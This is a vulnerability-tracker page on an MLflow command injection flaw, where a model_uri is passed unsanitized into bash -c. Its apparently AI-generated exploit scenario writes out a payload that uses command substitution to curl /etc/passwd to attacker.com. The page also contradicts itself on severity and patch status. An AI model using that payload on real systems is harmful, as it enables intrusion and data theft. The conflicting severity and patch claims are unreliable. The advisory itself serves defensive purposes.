Skip to main content

Mlflow CVE-2026-0596

| EUVDEUVD-2026-17415 HIGH
OS Command Injection (CWE-78)
2026-03-31 @huntr_ai GHSA-rvhj-8chj-8v3c
7.8
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious model_uri with shell metacharacters
  2. Exploit
    Submit request to MLflow model serving endpoint
  3. Execution
    Trigger command substitution in bash execution
  4. Impact
    Execute arbitrary commands with service privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

MLflow with enable_mlserver=True parameter set during model serving. Attacker with low-privilege local access can craft malicious model_uri with shell metacharacters ($(), backticks). Privilege escalation possible if higher-privileged service serves models from attacker-writable directory.

Impact

The CVSS 9.6 Critical score reflects severe technical characteristics: adjacent network attack vector (AV:A), low complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and scope change (S:C) with complete confidentiality, integrity, and availability impact. However, the adjacent network requirement (AV:A) significantly constrains exploitation compared to internet-exposed vulnerabilities-attackers need network access to the MLflow serving infrastructure, typical in internal MLOps/data science environments. The privilege escalation dimension is particularly concerning in multi-tenant scenarios where unprivileged users can specify model_uri values processed by privileged MLflow services. Without EPSS data or KEV listing, real-world exploitation probability remains uncertain, but the low attack complexity and no authentication requirement elevate risk once network access is achieved. The technical impact is automatable once initial access is obtained. Primary risk exists in shared ML platform deployments, Kubernetes-based MLOps pipelines, and environments where model serving configurations accept user-controlled inputs. Organizations not using enable_mlserver=True or lacking adjacent network access to MLflow services face significantly reduced risk.

Exploit ScenarioDerived

An attacker with access to an organization's internal machine learning platform network identifies an MLflow instance serving models with enable_mlserver=True. The attacker crafts a malicious model_uri value such as 'models/test$(curl attacker.com/exfil?data=$(cat /etc/passwd))' and submits it through a model deployment API or configuration interface accessible to data scientists. When the MLflow service processes this request, the bash -c command execution interprets the embedded command substitution, exfiltrating sensitive files to the attacker's server. In multi-tenant environments, a lower-privileged data science user could exploit this to execute commands as the higher-privileged MLflow service account, potentially compromising the entire ML infrastructure, stealing model artifacts, training data, or pivoting to connected systems.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 31, 2026

Command injection in MLflow's MLServer integration allows unauthenticated adjacent network attackers to execute arbitrary commands when models are served with enable_mlserver=True. Unsanitized model_uri parameters embedded in bash -c commands enable shell metacharacter exploitation (command substitution via $() or backticks). With CVSS 9.6 (Critical) and adjacent network attack vector, this poses significant risk in multi-tenant MLOps environments where lower-privileged users can control model URIs served by higher-privileged services. No public exploit code identified at time of analysis, with EPSS data not yet available for this recent CVE.

RemediationAI

Organizations using MLflow with MLServer integration should immediately review and restrict model_uri input sources to trusted, validated paths only. Implement input validation to reject or sanitize shell metacharacters in model_uri parameters before processing. As an immediate mitigation, disable enable_mlserver=True if MLServer functionality is not required for production operations. Apply network segmentation to restrict adjacent network access to MLflow serving infrastructure to authorized users and systems only. Monitor the official MLflow GitHub repository and security advisories at https://huntr.com/bounties/2e905add-f9f5-4309-a3db-b17de5981285 for vendor-released patches addressing this vulnerability. Implement principle of least privilege for MLflow service accounts to limit privilege escalation impact. Audit existing model serving configurations to identify potentially exploitable model_uri values and review logs for suspicious command patterns. Until patches are available, consider alternative model serving approaches that do not involve MLServer or implement wrapper scripts with strict input validation.

Affected VersionsENISA

mlflow/mlflow unspecified ≤latest

Affected Packages

pypi mflow fix: 3.9.0
pypi mlflow fix: 3.9.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

MLflow is an open-source platform for managing machine learning lifecycle, including model serving capabilities. When MLServer integration is enabled via the enable_mlserver parameter, MLflow constructs shell commands to invoke model serving processes. The vulnerability (CWE-78: OS Command Injection) occurs because the model_uri parameter-which specifies the location of ML models to serve-is directly interpolated into bash -c command strings without input validation or sanitization. Shell metacharacters in the model_uri ($(), backticks, semicolons, pipes) are interpreted by the bash shell, enabling arbitrary command execution. The affected product is identified as mlflow/mlflow (CPE: cpe:2.3:a:mlflow:mlflow/mlflow), with all versions vulnerable according to available data. This reflects a fundamental input validation failure in the MLServer serving code path.

Know when Mlflow gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.8 HIGH
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Severity Changed
Apr 14, 2026 - 16:07 NVD
CRITICAL HIGH
CVSS changed
Apr 14, 2026 - 16:07 NVD
9.6 (CRITICAL) 7.8 (HIGH)
Patch released
Apr 04, 2026 - 08:30 nvd
Patch available
CVE Published
Mar 31, 2026 - 14:25 nvd
CRITICAL 9.6

DescriptionNVD

A command injection vulnerability exists in mlflow/mlflow when serving a model with enable_mlserver=True. The model_uri is embedded directly into a shell command executed via bash -c without proper sanitization. If the model_uri contains shell metacharacters, such as $() or backticks, it allows for command substitution and execution of attacker-controlled commands. This vulnerability affects the latest version of mlflow/mlflow and can lead to privilege escalation if a higher-privileged service serves models from a directory writable by lower-privileged users.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 5 pypi packages depend on mlflow (5 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.9.0.

Executive ViewAI

Why It Matters

MLflow's MLServer integration contains a critical unauthenticated command injection vulnerability (CVSS 9.6) affecting deployments with enable_mlserver=True, allowing adjacent network attackers to execute arbitrary commands via unsanitized model URIs. Organizations running MLflow model serving in multi-tenant environments face immediate risk of service compromise and lateral movement, particularly where lower-privileged users provision models.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: disable enable_mlserver=True configuration parameter; implement strict network access controls restricting MLflow server to trusted internal networks only; deploy input validation at application layer to reject model_uri parameters containing shell metacharacters ($, `, |, &, ;, >, <); enforce principle of least privilege for service accounts running MLflow; monitor process execution logs for anomalous command activity on MLflow servers.

Threat Intelligence Overview

EPSS Score
0.2%
Top 53% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
EUVD NVD CVE.org EPSS Vulnrichment GHSA VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

39
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +39
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

More in Mlflow

View all
CVE-2026-64849 CRITICAL POC
9.3 Aug 17

Server-side request forgery in MLflow before 3.15.0 lets remote unauthenticated attackers coerce the server into making

CVE-2024-8859 HIGH POC
7.5 Mar 20

A path traversal vulnerability exists in mlflow/mlflow version 2.15.1. Rated high severity (CVSS 7.5), this vulnerabilit

CVE-2023-3765 CRITICAL POC
10.0 Jul 19

Absolute Path Traversal in GitHub repository mlflow/mlflow prior to 2.5.0. Rated critical severity (CVSS 10.0), this vul

CVE-2026-116692 CRITICAL POC
9.8 Oct 27

Unauthenticated remote code execution in MLflow 3.12.0rc0 through 3.16.x lets any network caller reach the tracking serv

CVE-2026-0545 CRITICAL POC
9.8 Apr 03

MLflow's FastAPI job endpoints bypass basic-auth entirely, allowing network attackers to submit and execute jobs without

CVE-2023-6975 CRITICAL POC
9.8 Dec 20

A malicious user could use this issue to get command execution on the vulnerable machine and get access to data & models

CVE-2023-6974 CRITICAL POC
9.8 Dec 20

A malicious user could use this issue to access internal HTTP(s) servers and in the worst case (ie: aws instance) it cou

CVE-2023-6014 CRITICAL POC
9.8 Nov 16

An attacker is able to arbitrarily create an account in MLflow bypassing any authentication requirment. Rated critical s

CVE-2023-6018 CRITICAL POC
9.8 Nov 16

An attacker can overwrite any file on the server hosting MLflow without any authentication. Rated critical severity (CVS

CVE-2023-2780 CRITICAL POC
9.8 May 17

Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.3.1. Rated critical severity (CVSS 9.8), th

CVE-2023-1177 CRITICAL POC
9.8 Mar 24

Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.2.1. Rated critical severity (CVSS 9.8), th

CVE-2024-27133 CRITICAL POC
9.6 Feb 23

Insufficient sanitization in MLflow leads to XSS when running a recipe that uses an untrusted dataset. Rated critical se

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy